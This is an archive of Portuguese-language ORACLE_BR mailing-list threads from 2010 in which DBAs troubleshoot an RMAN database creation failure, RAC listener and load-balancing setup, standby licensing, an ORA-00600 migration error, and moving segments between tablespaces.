Tue Aug 10 15:15:24 2010 create database RMAN logfile group 1 ('/homologa/RMAN/log/redo1.log') size 100M, group 2 ('/homologa/RMAN/log/redo2.log') size 100M, group 3 ('/homologa/RMAN/log/redo3.log') size 100M noarchivelog character set WE8ISO8859P1 national character set utf8 datafile '/homologa/RMAN/dbf/system.dbf' size 300M autoextend on next 100M maxsize unlimited extent management local sysaux datafile '/homologa/RMAN/dbf/sysaux.dbf' size 200M autoextend on next 10M maxsize 501M undo tablespace undo datafile '/homologa/RMAN/dbf/undo1.dbf' size 200M default temporary tablespace temp tempfile '/homologa/RMAN/dbf/temp1.dbf' size 500M Tue Aug 10 15:15:26 2010 Database mounted in Exclusive Mode Tue Aug 10 15:15:50 2010 Successful mount of redo thread 1, with mount id 1613146764 Assigning activation ID 1613146764 (0x6026aa8c) Tue Aug 10 15:16:09 2010 PSP0: terminating instance due to error 472 Instance terminated by PSP0, pid = 15910 [As partes desta mensagem que não continham texto foram removidas] -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ Links do Yahoo! Grupos
Re: [oracle_br] Re: criação de instância do RMAN
Márcio, aqui a sugestão que eu daria, se possível, aplique o ultimo patchset e tente novamente. Caso mesmo assim não funcione, pode ser que o HP-UX não tem recursos suficientes liberados para o uso do owner do banco de dados, ex, numero maximo de arquivos abertos, maximo de processos, etc, etc, então a segunda tentativa seria entrar no metalink e chegar as configurações necessárias para o HP-UX, costuma ser um passo a passo que não precisa ser nenhum expert no SO para seguir. Caso nada disso resolva, é abrir um chamado na Oracle e pedir explicação pra eles... 2010/8/10 Márcio Ricardo Alves da Silva marcio_...@yahoo.com.br: Ivan, Eu consigo dar um startup nomount na instância. Quando rodo o script de criação do banco, é que o problema ocorre apresentando o erro: ora-03113 end-of-file on communication channel. No arquivo de log, tem a mensagem: Tue Aug 10 16:07:25 2010 Database mounted in Exclusive Mode Tue Aug 10 16:07:49 2010 Successful mount of redo thread 1, with mount id 1613120699 Assigning activation ID 1613120699 (0x602644bb) Tue Aug 10 16:08:00 2010 PSP0: terminating instance due to error 472 Instance terminated by PSP0, pid = 17026. versão do banco 10.2.0.1, espaço em disco ok, memória ok, parâmetros do kernel não sei como verificar por não ter conhecimento no SO. Tenho mais duas instâncias rodando nessa máquina. Márcio. - Original Message - From: Ivan Ricardo Schuster To: oracle_br@yahoogrupos.com.br Sent: Tuesday, August 10, 2010 5:02 PM Subject: Re: [oracle_br] Re: criação de instância do RMAN Já vi diversos bancos standard criados do zero com esta mesma mensagem, não parece ser erro, mas não consegui identificar um ponto comum entre eles que gerasse esta mensagem. O script do Márcio não parece ter problemas. Marcio, costuma ajudar se você fornecer mais detalhes do seu banco. Qual a versão? Verifique espaço em disco, memória, parametros de kernel... Tem outro banco rodando na mesma máquina? 2010/8/10 José Laurindo jlchia...@yahoo.com.br: A msg Oracle Data Guard is not available in this edition of Oracle. parece ser a causa-raiz : pelo jeito vc está tentando usar um script de criação de banco gerado num EE num Standard ou num XE, ou o banco aonde o script foi gerado tinha features não presentes nos binários aonde vc o está tentando usar A recomendação seria vc usar o DBCA (assistente de criação de banco) presente nos binários daonde vai ser o banco a criar : vc tanto pode criar diretamente pelo dbca quanto pode pedir pro dbca gerar scripts, que depois vc edita/altera/acerta como quiser antes de rodar. []s Chiappa --- Em oracle_br@yahoogrupos.com.br, Márcio Ricardo Alves da Silva marcio_...@... escreveu Boas. Estou tentando criar uma instância para o RMAN e estou recebendo o seguinte erro: @/homologa/RMAN/DBA/create_db_rman.sql create database RMAN logfile group 1 ('/homologa/RMAN/log/redo1.log') size 100M, * ERROR at line 1: ORA-03113: end-of-file on communication channel no arquivo de alert tem a seguinte mensagem: Oracle Data Guard is not available in this edition of Oracle. Tue Aug 10 15:15:24 2010 create database RMAN logfile group 1 ('/homologa/RMAN/log/redo1.log') size 100M, group 2 ('/homologa/RMAN/log/redo2.log') size 100M, group 3 ('/homologa/RMAN/log/redo3.log') size 100M noarchivelog character set WE8ISO8859P1 national character set utf8 datafile '/homologa/RMAN/dbf/system.dbf' size 300M autoextend on next 100M maxsize unlimited extent management local sysaux datafile '/homologa/RMAN/dbf/sysaux.dbf' size 200M autoextend on next 10M maxsize 501M undo tablespace undo datafile '/homologa/RMAN/dbf/undo1.dbf' size 200M default temporary tablespace temp tempfile '/homologa/RMAN/dbf/temp1.dbf' size 500M Tue Aug 10 15:15:26 2010 Database mounted in Exclusive Mode Tue Aug 10 15:15:50 2010 Successful mount of redo thread 1, with mount id 1613146764 Assigning activation ID 1613146764 (0x6026aa8c) Tue Aug 10 15:16:09 2010 PSP0: terminating instance due to error 472 Instance terminated by PSP0, pid = 15910 [As partes desta mensagem que não continham texto foram removidas] -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br
Re: [oracle_br] Re: criação de instância do RMAN
Para desencargo de consciência, em se tratando de recursos, se ambiente de teste ou desenvolvimento (acredito que sejam pela versão desatualizada) eu ainda baixaria um dos outros dois bancos ou mesmo os dois e tentaria novamente criar esta instância. 2010/8/10 Ivan Ricardo Schuster ivanr...@gmail.com: Márcio, aqui a sugestão que eu daria, se possível, aplique o ultimo patchset e tente novamente. Caso mesmo assim não funcione, pode ser que o HP-UX não tem recursos suficientes liberados para o uso do owner do banco de dados, ex, numero maximo de arquivos abertos, maximo de processos, etc, etc, então a segunda tentativa seria entrar no metalink e chegar as configurações necessárias para o HP-UX, costuma ser um passo a passo que não precisa ser nenhum expert no SO para seguir. Caso nada disso resolva, é abrir um chamado na Oracle e pedir explicação pra eles... 2010/8/10 Márcio Ricardo Alves da Silva marcio_...@yahoo.com.br: Ivan, Eu consigo dar um startup nomount na instância. Quando rodo o script de criação do banco, é que o problema ocorre apresentando o erro: ora-03113 end-of-file on communication channel. No arquivo de log, tem a mensagem: Tue Aug 10 16:07:25 2010 Database mounted in Exclusive Mode Tue Aug 10 16:07:49 2010 Successful mount of redo thread 1, with mount id 1613120699 Assigning activation ID 1613120699 (0x602644bb) Tue Aug 10 16:08:00 2010 PSP0: terminating instance due to error 472 Instance terminated by PSP0, pid = 17026. versão do banco 10.2.0.1, espaço em disco ok, memória ok, parâmetros do kernel não sei como verificar por não ter conhecimento no SO. Tenho mais duas instâncias rodando nessa máquina. Márcio. - Original Message - From: Ivan Ricardo Schuster To: oracle_br@yahoogrupos.com.br Sent: Tuesday, August 10, 2010 5:02 PM Subject: Re: [oracle_br] Re: criação de instância do RMAN Já vi diversos bancos standard criados do zero com esta mesma mensagem, não parece ser erro, mas não consegui identificar um ponto comum entre eles que gerasse esta mensagem. O script do Márcio não parece ter problemas. Marcio, costuma ajudar se você fornecer mais detalhes do seu banco. Qual a versão? Verifique espaço em disco, memória, parametros de kernel... Tem outro banco rodando na mesma máquina? 2010/8/10 José Laurindo jlchia...@yahoo.com.br: A msg Oracle Data Guard is not available in this edition of Oracle. parece ser a causa-raiz : pelo jeito vc está tentando usar um script de criação de banco gerado num EE num Standard ou num XE, ou o banco aonde o script foi gerado tinha features não presentes nos binários aonde vc o está tentando usar A recomendação seria vc usar o DBCA (assistente de criação de banco) presente nos binários daonde vai ser o banco a criar : vc tanto pode criar diretamente pelo dbca quanto pode pedir pro dbca gerar scripts, que depois vc edita/altera/acerta como quiser antes de rodar. []s Chiappa --- Em oracle_br@yahoogrupos.com.br, Márcio Ricardo Alves da Silva marcio_...@... escreveu Boas. Estou tentando criar uma instância para o RMAN e estou recebendo o seguinte erro: @/homologa/RMAN/DBA/create_db_rman.sql create database RMAN logfile group 1 ('/homologa/RMAN/log/redo1.log') size 100M, * ERROR at line 1: ORA-03113: end-of-file on communication channel no arquivo de alert tem a seguinte mensagem: Oracle Data Guard is not available in this edition of Oracle. Tue Aug 10 15:15:24 2010 create database RMAN logfile group 1 ('/homologa/RMAN/log/redo1.log') size 100M, group 2 ('/homologa/RMAN/log/redo2.log') size 100M, group 3 ('/homologa/RMAN/log/redo3.log') size 100M noarchivelog character set WE8ISO8859P1 national character set utf8 datafile '/homologa/RMAN/dbf/system.dbf' size 300M autoextend on next 100M maxsize unlimited extent management local sysaux datafile '/homologa/RMAN/dbf/sysaux.dbf' size 200M autoextend on next 10M maxsize 501M undo tablespace undo datafile '/homologa/RMAN/dbf/undo1.dbf' size 200M default temporary tablespace temp tempfile '/homologa/RMAN/dbf/temp1.dbf' size 500M Tue Aug 10 15:15:26 2010 Database mounted in Exclusive Mode Tue Aug 10 15:15:50 2010 Successful mount of redo thread 1, with mount id 1613146764 Assigning activation ID 1613146764 (0x6026aa8c) Tue Aug 10 15:16:09 2010 PSP0: terminating instance due to error 472 Instance terminated by PSP0, pid = 15910 [As partes desta mensagem que não continham texto foram removidas] -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br
Re: [oracle_br] licença no banco stand by
Márcio, precisa sim licenciar banco standby, além de banco de desenvolvimento e testes, a menos que você tenha algum tipo de parceria com a Oracle que permita a utilização. O documento abaixo explica bem como isso funciona: http://www.oracle.com/corporate/pricing/sig.pdf att Ivan 2010/8/9 Márcio Ricardo Alves da Silva marcio_...@yahoo.com.br: Boas. Estou com uma dúvida, vou começar a implementação de um banco stand by (contingência), nesse banco eu preciso ter licença nele? Vi que o Oracle FULL (Freezão), eu posso utilizar desde que eu mexe com dados reais(produção), posso utilizar para testes e desenvolvimento. No meu banco stand by, não vou estar trabalhando com os dados, estarei apenas aplicando os archives. Sendo assim, eu posso fazer a utilização do banco, e quando eu precisar pegar a minha licença do banco produção e colocar no stand by? Grato, Márcio. [As partes desta mensagem que não continham texto foram removidas] -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ Links do Yahoo! Grupos
Re: [oracle_br] licença no banco stand by
Tambem acho um tanto injusto, mas estas são as regras de licenciamento da Oracle, se você não concorda, não deve usá-lo. Sobre o desenvolvimento, sim, há liberação para uso em desenvolvimento limitado a algumas restrições como as que você citou, mas um ambiente de testes/staging precisa ser licenciado: Any Oracle software used in test/staging environment must be properly licensed with a Full Use license under an Oracle License and Services Agreement (OLSA) or other appropriate Oracle (or Oracle authorized reseller) license agreement. Como em geral o que se licencia são processadores da máquina e não numero de usuários, em geral têm-se duas máquinas, a de produção e uma única máquina como ambiente de desenvolvimento, testes e standby, ambas 100% licenciadas para uso do Oracle. 2010/8/9 Márcio Ricardo Alves da Silva marcio_...@yahoo.com.br: Ivan, quando eu instalo o Oracle Enterprise Edition (FREE) na parte de licenciamento, ele diz que desde que eu não utilize o ambiente com dados reais, eu posso utilizar o banco sem precisar licenciamento. Pois estou desenvolvendo uma ferramenta que utilizará um ambiente de produção licenciado. Agora do Stand by eu entendi, mas não concordo. Se o meu ambiente principal cair, o que farei com uma licença que não terá uso para mim no momento, poderia muito bem transferir para o ambiente de stand by. Obrigado, Márcio. - Original Message - From: Ivan Ricardo Schuster To: oracle_br@yahoogrupos.com.br Sent: Monday, August 09, 2010 3:57 PM Subject: Re: [oracle_br] licença no banco stand by Márcio, precisa sim licenciar banco standby, além de banco de desenvolvimento e testes, a menos que você tenha algum tipo de parceria com a Oracle que permita a utilização. O documento abaixo explica bem como isso funciona: http://www.oracle.com/corporate/pricing/sig.pdf att Ivan 2010/8/9 Márcio Ricardo Alves da Silva marcio_...@yahoo.com.br: Boas. Estou com uma dúvida, vou começar a implementação de um banco stand by (contingência), nesse banco eu preciso ter licença nele? Vi que o Oracle FULL (Freezão), eu posso utilizar desde que eu mexe com dados reais(produção), posso utilizar para testes e desenvolvimento. No meu banco stand by, não vou estar trabalhando com os dados, estarei apenas aplicando os archives. Sendo assim, eu posso fazer a utilização do banco, e quando eu precisar pegar a minha licença do banco produção e colocar no stand by? Grato, Márcio. [As partes desta mensagem que não continham texto foram removidas] -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ -- Links do Yahoo! Grupos [As partes desta mensagem que não continham texto foram removidas] -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ Links do Yahoo! Grupos
Re: [oracle_br] Informações RAC
Para datafiles, vai de ASM! ACFS é uma camada a mais pra incomodar. Outra dica: Se você está acostumado ou já instalou RAC em versões anteriores, dê uma boa pesquisada e monte um ambiente de testes com o 11gR2. Muita coisa mudou com o antigo clusterware, que agora se chama Grid Infrastructure. 2010/8/5 paulo matadr saddon...@yahoo.com.br: Foi de grande ajuda Ivan, deixo bem mais claro. Penso que o sistema será o oracle 11gr2 ,to em duvida entre o ASM e o ACFS. ACFS ja é uma tecnologia madura? Paulo De: Ivan Ricardo Schuster ivanr...@gmail.com Para: oracle_br@yahoogrupos.com.br Enviadas: Quinta-feira, 5 de Agosto de 2010 13:15:21 Assunto: Re: [oracle_br] Informações RAC Paulo Pelo que entendi, você procura por opções de armazenamento de dados em RAC. Não conheço um lugar único que tenha todas estas informações atualizadas, mas separei alguns links: 1) http://www.oracle.com/technology/tech/linux/pdf/rac_wp.pdf Um artigo muito bom sobre as opções disponíveis, mas como foi escrito em 2004 não inclui os recursos mais atuais. 2) http://www.dba-oracle.com/art_rac_storage_options_11g.htm Um overview de opções disponíveis para 11gR1, também não 100% atual mas mais perto disso. 3) http://download.oracle.com/docs/cd/E11882_01/server.112/e10500/asmfilesystem.htm Documentação do ACFS, que é o substituto do OCFS na versão 11gR2. 4) http://tahiti.oracle.com Divirta-se! :) Em se tratando de linux, eu recomendaria, nessa ordem: 1. ASM - O 11gR2 já permite que OCR e Voting Disk dejam armazenados no ASM 2. ACFS - Principalmente para aplicativos que armazenam arquivos em disco no servidor de banco. Usar OCFS2 em versões anteriores. Usar também caso queira compartilhar o ORACLE_HOME das máquinas do RAC. 3. Raw Device - Dessuportado no 11gR2. Usado como base para discos ASM em versões anteriores ao 11g. Sem ASM não recomendo. 4. NFS - Não confiaria para datafiles, mas... abraço Ivan 2010/8/5 paulo matadr saddon...@yahoo.com.br: Bom dia Pessoal, Alguem teria algum material (blog, recomendação de livros), a respeito dos tipos de cluster em RAC,(asmlib,asm,ocfs2...) To precisando de um material com as vatagens e desvantagens de cada um, se possivel o mais atualizado. Agradeço a todos. Paulo [As partes desta mensagem que não continham texto foram removidas] -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ -- Links do Yahoo! Grupos [As partes desta mensagem que não continham texto foram removidas] -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ Links do Yahoo! Grupos
Re: [oracle_br]
Esta tabela por acaso não é uma materialized view? Se for, tente recriá-la. E atualize esse seu Oracle para 10.2.0.5! 2010/8/4 Raul Francisco Costa F. de Andrade, DBA raulf...@gmail.com: Para podermos ajudar precisaremos saber como está sendo feita esta migração... Foram recompilados os objetos depois da base migrada? O select dá este erro no alert.log mas executa ou não? Em 4 de agosto de 2010 09:09, Eduardo Souza pjabran...@gmail.com escreveu: Bom dia para todos. Estamos migrando a versão do ORACLE: de: Oracle9i Enterprise Edition Release 9.2.0.4.0 - 64bit Production para: 'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - 64bi E estamos recebendo o seguinte erro: ORA-00600: internal error code, arguments: [kkqscard-1], [], [], [], [], [], [], [] Ao executar um simples select count(1) from tabela; Alguém já passou por este problema? Grande abraço. [As partes desta mensagem que não continham texto foram removidas] -- --- *Raul Francisco da Costa Ferreira de Andrade* *DBA - OCP - Oracle Certified Professional* *COBIT Foundation 4.1* Fone: (41)8855-8874 Brt email: raulf...@gmail.com Skype: raul.andrade www.clickdba.com A adversidade leva alguns a serem vencidos e outros a baterem recordes. William Arthur Ward [As partes desta mensagem que não continham texto foram removidas] -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ Links do Yahoo! Grupos
Re: [oracle_br] Mover dados de uma tablespace para outra
Marcelle Imagino que você queira mover segmentos (tabelas, indices) para outra tablespace a fim de liberar espaço ou organizar a casa. Este procedimento você deve fazer com o banco de dados online, mas se você pode ou não fazer com o seu sistema online e usuários acessando vai depender muito do seu sistema. Eu recomendaria fazer em horário de pouco acesso ou de preferência agendar uma janela de manutenção, desligar o listener, dar um shutdown e startup no banco, realizar a manutenção e ai sim liberar o sistema reiniciando o listener. Os passos recomendados: 1 - Identificar os objetos que devem ser movidos e pra onde, criar um script. 2 - Parar banco e listener, subir banco. 3 - Mover tabelas 4 - Mover indices e dar rebuild nos que ficarem inválidos 5 - Verificar por outros objetos inválidos e recompilar 6 - Subir o listener e liberar para o usuário Não esquecer de verificar também: - Espaço necessário nas tablespaces - Tamanho da TEMP, UNDO, REDO, UNDO_RETENTION, etc. Att Ivan 2010/7/22 marcellebm marcell...@gmail.com: Gente, estou precisando mover apenas alguns dados de uma tablespace para outra. Qual eh a melhor forma para eu fazer isso, quais comandos? Será necessário colocar a tablespace Ofline e reiniciar o banco? Ou posso fazer isso normalmente com o banco ativo? Obrigada pelas informações. Marcelle -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ Links do Yahoo! Grupos
Re: [oracle_br] Re: Dúvida: Alterando porta do LIST ENER - CLUSTER
O load balance no 10g e no 11gR1 você configura no cliente e no servidor. No cliente definindo o tnsnames corretamente, e adicionando load_balance=on na definição. No servidor, definindo valores para local_listener e remote_listener. Fora isso podes configurar TAF e FAN, mas aí depende da tua aplicação estar pronta pra usar estas funcionalidades: http://www.oracle.com/technology/products/database/clustering/pdf/awmrac11g.pdf No metalink tem muita informação a respeito, de uma bela pesquisada lá que você encontrará tudo o que precisa. abraço 2010/7/22 ammorrimm ammorr...@yahoo.com.br: Grande Ivan... Eu ja havia resolvido o problema..na verdade estava setando direto o endereco ip... Mas resolvido ja... Só fiquei na duvida na criação dos servicos para load balance e fail over, mencionados pelo camarada vinicius... Pq tenho isso habilitado no RAC e nao criei servico algum, como fazemos no 10G... --- Em oracle_br@yahoogrupos.com.br, Ivan Ricardo Schuster ivanr...@... escreveu Bom, acredito que isso seja alguma máquina de testes, se não for, sugiro contratar uma análise mais especializada, pois é dificil falar assim, mas vamos lá... Estou escrevendo de cabeça, não tenho meu RAC de testes no ar pra verificar, mas é mais ou menos isso aí: 1. Os IPs definidos na configuração do listener (listener.ora) devem ser VIP, nunca usar o IP físico. 2. Verifique se no tnsnames.ora dos servidores se cada nó tem uma entrada, deve ser RAC1 e RAC2, vou considerar isto nos proximos passos, caso não tenha, crie. Mais uma vez, estas configurações devem apontar para o VIP e não para o IP físico. 3. Testar a conexão em ambas as máquinas (ex: sqlplus sys...@rac1/sqlplus sys...@rac2) 4. Defina LOCAL_LISTENER: alter system set LOCAL_LISTENER='rac1' scope=both sid='rac1' ; alter system set LOCAL_LISTENER='rac2' scope=both sid='rac2' ; 5. Defina REMOTE_LISTENER: alter system set REMOTE_LISTENER='rac2' scope=both sid='rac1' ; alter system set REMOTE_LISTENER='rac1' scope=both sid='rac2' ; Tendo isso configurado, caso continue com problema, verificar: 1. Via CRS_STAT -T se os serviços devidos estão no ar, verificar principalmente os serviços VIP se estão rodando e se cada um está sendo executado no servidor correto. 2. Verificar o ping desses servidores pelo cliente 3. Modificar o tnsnames.ora do cliente especificando só o vip do rac1 e ver se ele conecta. 4. Checar logs 2010/7/22 ammorrimm ammorr...@...: Bem... Com relação a single instance esta tudo tranquilo...so fiquei com dúvida por ser RAC...pensei que mudasse alguma coisa.. De qualquer forme, estou tenho um problema após esta reconfiguração no listener...o load balance nao esta funcionando...ou seja, so caio em um nó... alterei o seguinte: rac1) alter system set local_listener='(ADDRESS = (PROTOCOL = TCP)(HOST = 172.20.100.1)(PORT = 1527))' SID='rac1'; rac2) alter system set local_listener='(ADDRESS = (PROTOCOL = TCP)(HOST = 172.20.100.2)(PORT = 1527))' SID='rac2'; Alterei todos os TNSNAMES e mesmo assim só caio noo meu rac2...ja stopei e restatei meu listener e nada... Alguem teria alguma ideia ? --- Em oracle_br@yahoogrupos.com.br, Marcus Vinicius Miguel Pedro mvmpedro@ escreveu Informação do documento Net Services Administrator's Guide: When configuring the listener to listen on TCP/IP, you should enter the default port of 1521. If you do not, you must configure the LOCAL_LISTENER parameter in the intialization parameter file and resolve the listener name through a naming method. Marcus Vinicius Miguel Pedro OCP Database 9i OCP Database 10g OCE RAC 10g OCP Database 11g OCS Implementation 11g mvmpedro@ Blog: http://www.viniciusdba.com.br On 21/07/2010, at 11:44, ammorrimm wrote: Hu... Fiz a exclusão do listener e a recriação do mesmo MAs não consegui me logar mais em lugar algum e nem mesmo pelo EM... A mensagem a tradicional: ORA-12520: TNS:listener could not find available handler for requested type of server Fiz uma verificação de servicoes registrados e não haviam nenhum...mesmo executando o crs_stat -t (informando que o listener estava no ar).. O detalhe é que o nome do listener foi criado igual ao original...baixei e subi todos os serviçoes e nada...quando voltei tudo para a 1521, voltou a funcionar Tem mais nenhum passinho a mais ai não ? Rs --- Em oracle_br@yahoogrupos.com.br, Marcus Vinicius Miguel Pedro mvmpedro@ escreveu Maneira mais fácil: Exclua o LISTENER via NETCA e faça a criação na porta desejada. Marcus Vinicius Miguel Pedro OCP Database 9i OCP Database 10g OCE RAC 10g OCP Database 11g OCS Implementation 11g mvmpedro@ Blog: http://www.viniciusdba.com.br On 21/07/2010, at 10:04, ammorrimm wrote: Pessoal Uma
Re: [oracle_br] Re: Dúvida: Alterando porta do LIST ENER - CLUSTER
Bom, acredito que isso seja alguma máquina de testes, se não for, sugiro contratar uma análise mais especializada, pois é dificil falar assim, mas vamos lá... Estou escrevendo de cabeça, não tenho meu RAC de testes no ar pra verificar, mas é mais ou menos isso aí: 1. Os IPs definidos na configuração do listener (listener.ora) devem ser VIP, nunca usar o IP físico. 2. Verifique se no tnsnames.ora dos servidores se cada nó tem uma entrada, deve ser RAC1 e RAC2, vou considerar isto nos proximos passos, caso não tenha, crie. Mais uma vez, estas configurações devem apontar para o VIP e não para o IP físico. 3. Testar a conexão em ambas as máquinas (ex: sqlplus sys...@rac1/sqlplus sys...@rac2) 4. Defina LOCAL_LISTENER: alter system set LOCAL_LISTENER='rac1' scope=both sid='rac1' ; alter system set LOCAL_LISTENER='rac2' scope=both sid='rac2' ; 5. Defina REMOTE_LISTENER: alter system set REMOTE_LISTENER='rac2' scope=both sid='rac1' ; alter system set REMOTE_LISTENER='rac1' scope=both sid='rac2' ; Tendo isso configurado, caso continue com problema, verificar: 1. Via CRS_STAT -T se os serviços devidos estão no ar, verificar principalmente os serviços VIP se estão rodando e se cada um está sendo executado no servidor correto. 2. Verificar o ping desses servidores pelo cliente 3. Modificar o tnsnames.ora do cliente especificando só o vip do rac1 e ver se ele conecta. 4. Checar logs 2010/7/22 ammorrimm ammorr...@yahoo.com.br: Bem... Com relação a single instance esta tudo tranquilo...so fiquei com dúvida por ser RAC...pensei que mudasse alguma coisa.. De qualquer forme, estou tenho um problema após esta reconfiguração no listener...o load balance nao esta funcionando...ou seja, so caio em um nó... alterei o seguinte: rac1) alter system set local_listener='(ADDRESS = (PROTOCOL = TCP)(HOST = 172.20.100.1)(PORT = 1527))' SID='rac1'; rac2) alter system set local_listener='(ADDRESS = (PROTOCOL = TCP)(HOST = 172.20.100.2)(PORT = 1527))' SID='rac2'; Alterei todos os TNSNAMES e mesmo assim só caio noo meu rac2...ja stopei e restatei meu listener e nada... Alguem teria alguma ideia ? --- Em oracle_br@yahoogrupos.com.br, Marcus Vinicius Miguel Pedro mvmpe...@... escreveu Informação do documento Net Services Administrator's Guide: When configuring the listener to listen on TCP/IP, you should enter the default port of 1521. If you do not, you must configure the LOCAL_LISTENER parameter in the intialization parameter file and resolve the listener name through a naming method. Marcus Vinicius Miguel Pedro OCP Database 9i OCP Database 10g OCE RAC 10g OCP Database 11g OCS Implementation 11g mvmpe...@... Blog: http://www.viniciusdba.com.br On 21/07/2010, at 11:44, ammorrimm wrote: Hu... Fiz a exclusão do listener e a recriação do mesmo MAs não consegui me logar mais em lugar algum e nem mesmo pelo EM... A mensagem a tradicional: ORA-12520: TNS:listener could not find available handler for requested type of server Fiz uma verificação de servicoes registrados e não haviam nenhum...mesmo executando o crs_stat -t (informando que o listener estava no ar).. O detalhe é que o nome do listener foi criado igual ao original...baixei e subi todos os serviçoes e nada...quando voltei tudo para a 1521, voltou a funcionar Tem mais nenhum passinho a mais ai não ? Rs --- Em oracle_br@yahoogrupos.com.br, Marcus Vinicius Miguel Pedro mvmpedro@ escreveu Maneira mais fácil: Exclua o LISTENER via NETCA e faça a criação na porta desejada. Marcus Vinicius Miguel Pedro OCP Database 9i OCP Database 10g OCE RAC 10g OCP Database 11g OCS Implementation 11g mvmpedro@ Blog: http://www.viniciusdba.com.br On 21/07/2010, at 10:04, ammorrimm wrote: Pessoal Uma ajudinha por favor, como faço para alterar a porta do listener que foi configurado e registrado em um cluster ? Tentei via NETCA e não consegui. Recebi a informação de que o listener esta registrado no CRS. Poderiam me ajudar ? Obrigado [As partes desta mensagem que não continham texto foram removidas] [As partes desta mensagem que não continham texto foram removidas] -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/
Re: [oracle_br] Ao moderador do Grupo - sair da lista
Dê uma lida COMPLETA no seu próprio e-mail. Ao final tem: É suficiente? 2010/7/21 collin peterson mendes chaves collin_peters...@yahoo.com.br olá, gostaria que meu email fosse desvinculado do grupo. obrigado! Collin Peterson Mendes Chaves Engenheiro em Computação De: Caio Spadafora caiospadaf...@yahoo.com.br Para: oracle_br@yahoogrupos.com.br Enviadas: Quarta-feira, 21 de Julho de 2010 3:23:08 Assunto: Res: [oracle_br] Enumerar Desaconselho manter essa logica na aplicação... trigger nesses casos é trivial e minimiza bastante recursos..., já peguei exemplos de aplicação que não gerenciava os cursores corretamente e principalmente por conta de select em nextval em sequence consumia recurso demais e elevava o número de max open cursor... (lógico que um problema não necessariamente é causa do outro, mas se da para simplificar pra que complicar)... Effective Oracle By Design em 1 mes de leitura e todas essas dúvidas somem :) Caio Spadafora, Database Administrator, http://digitalgrimoa.blogspot.com/ http://recoveryarea.blogspot.com/ http://0011brothers.blogspot.com/ De: Ademar Gomes lis...@ademargomes.com Para: oracle_br@yahoogrupos.com.br Enviadas: Terça-feira, 20 de Julho de 2010 14:14:58 Assunto: Re: [oracle_br] Enumerar Ou se for aplicação e vc quiser manter na sua aplicação a sequence aplicada. Chama a sequence p que a mesma te retorne o próximo número. Nesse caso voce não precisa de trigger. Eu no entanto gosto do uso de trigger como o Gerson comentou. Ademar www.ademargomes.com On Jul 20, 2010, at 2:07 PM, Gerson Junior wrote: Usando trigger + sequence. Voce cria uma trigger before insert que dá um select numa sequence e coloca o valor no campo. Entendeu? Atc. Gerson S. de Vasconcelos Júnior OCA DBA - Oracle Certified Associate Fone: (81) 9103-4984 Msn: gerson.vasconce...@gmail.com Skype: gersonvjunior http://www.diaadiaoracle.com.br/ Em 20 de julho de 2010 